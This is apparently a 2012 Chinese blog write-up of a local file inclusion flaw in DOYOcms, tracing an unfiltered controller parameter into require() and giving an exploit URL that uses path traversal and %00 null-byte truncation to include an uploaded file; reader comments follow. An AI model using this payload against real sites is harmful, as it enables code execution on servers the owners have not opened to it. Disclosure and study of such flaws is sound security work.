这是这套CMS ,这个很简洁。。。

DOYOcms 本地文件包含漏洞

这里的$handle_controller = syClass($__controller, null, $GLOBALS['G_DY']["controller_path"].'/'.$__controller.".php");

接下来往下看

DOYOcms 本地文件包含漏洞

DOYOcms 本地文件包含漏洞

这里的$sdir 没有经过任何过滤来的,然后看下这个import函数

DOYOcms 本地文件包含漏洞

这里直接包含了该文件

require($sfilename);

所以结合前面的

$GLOBALS['G_DY']["controller_path"].'/'.$__controller.".php"

$__controller是我们可控的变量,也没有经过任何过滤,我们想可以通过%00截断,然后包含我们上传的文件就达到了目的

这也就是鸡肋的地方了,如果要截断,要保证php版本小于5.4(我自己也记不太清了) 因为高版本的修复了该截断的漏洞。 然后这里要保证魔术常量是关闭的。

下图就是成功包含的图

DOYOcms 本地文件包含漏洞

Exp:

http://localhost/test/index.php?c=../uploads/2012/06/1.gif%00&a=type&tid=1

留言评论(旧系统):

【匿名者】 @ 2012-06-26 13:44:13

我想问的是 这个$c在哪?

本站回复:

你指的:index.php?c=../uploads/2012/06/1.gif%00?,$__controller 应该等于 “../uploads/2012/06/1.gif%00”。

晴天小铸 @ 2012-06-27 22:11:59

包含 漏洞更多漏洞请转载90sec我的一个cms 包含漏洞 嘻嘻 很多利用方案

本站回复:

╮(╯_╰)╭